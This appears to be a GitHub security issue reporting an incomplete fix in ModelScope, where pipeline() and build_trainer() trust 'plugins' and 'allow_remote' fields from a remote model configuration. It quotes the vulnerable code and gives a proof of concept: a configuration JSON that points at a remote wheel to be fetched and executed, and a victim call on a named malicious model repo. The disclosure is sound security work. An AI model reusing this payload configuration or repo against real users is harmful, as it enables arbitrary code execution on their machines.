Skip to content

Incomplete fix for loading untrusted remote plugin via configuration #1675

@Vancir

Description

@Vancir

Description

ModelScope still contains a remote code execution vulnerability in its remote plugin mechanism. Although a previous issue (#1405) addressed Model.from_pretrained, the same trust problem remains in other entry points, including pipeline() and build_trainer().

In these code paths, ModelScope reads plugin-related fields such as plugins and allow_remote from the remote model configuration and then uses them to register and execute remote plugins. Because these values come from the attacker-controlled configuration.json, a malicious model repository can enable remote plugin loading without any explicit user consent.

As a result, a victim only needs to call a normal API such as pipeline(...) on a malicious model repo, and ModelScope will fetch and execute attacker-controlled plugin code. This leads to arbitrary code execution on the victim host.

Root Cause

The vulnerable logic in pipeline() is:

if pipeline_name is None or pipeline_name != 'llm':
third_party = kwargs.get(ThirdParty.KEY)
if third_party is not None:
kwargs.pop(ThirdParty.KEY)
model = normalize_model_input(
model,
model_revision,
third_party=third_party,
ignore_file_pattern=ignore_file_pattern)
register_plugins_repo(cfg.safe_get('plugins'))
register_modelhub_repo(model,
cfg.get('allow_remote', False))

The vulnerable logic in build_trainer() is:

if isinstance(model, str) \
or (isinstance(model, list) and isinstance(model[0], str)):
if is_official_hub_path(model, revision=model_revision):
# read config file from hub and parse
configuration = read_config(
model, revision=model_revision) if isinstance(
model, str) else read_config(
model[0], revision=model_revision)
model_dir = normalize_model_input(model, model_revision)
register_plugins_repo(configuration.safe_get('plugins'))
register_modelhub_repo(model_dir,
configuration.get('allow_remote', False))

The problem is that both of the following values are read from the remote configuration:

  • cfg.safe_get('plugins')
  • cfg.get('allow_remote', False)

These are security-sensitive controls. They determine whether a remote plugin repository should be registered and whether remote code is allowed. Since they come directly from attacker-controlled model metadata, an attacker can enable plugin loading and point ModelScope to malicious code.

Proof of Concept

I reused the model repository presented in #1405. Its remote configuration contains plugin-related fields that enable remote loading, for example:

{
  "framework":"Pytorch",
  "task":"translation",
  "plugins":["https://github.com/JIRUWOZHI/mosco_test/releases/download/v0.0.1/mosco_test-0.0.1-py3-none-any.whl"],
  "allow_remote":true,
  "model": {
     "type":"csanmt-translation"
  }
}

A victim runs standard ModelScope code:

from modelscope.pipelines import pipeline

model_id = "jiruwozhi/plugin_rce"
human3d = pipeline("translation", model=model_id)

Metadata

Metadata

Labels

Type

No type
No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions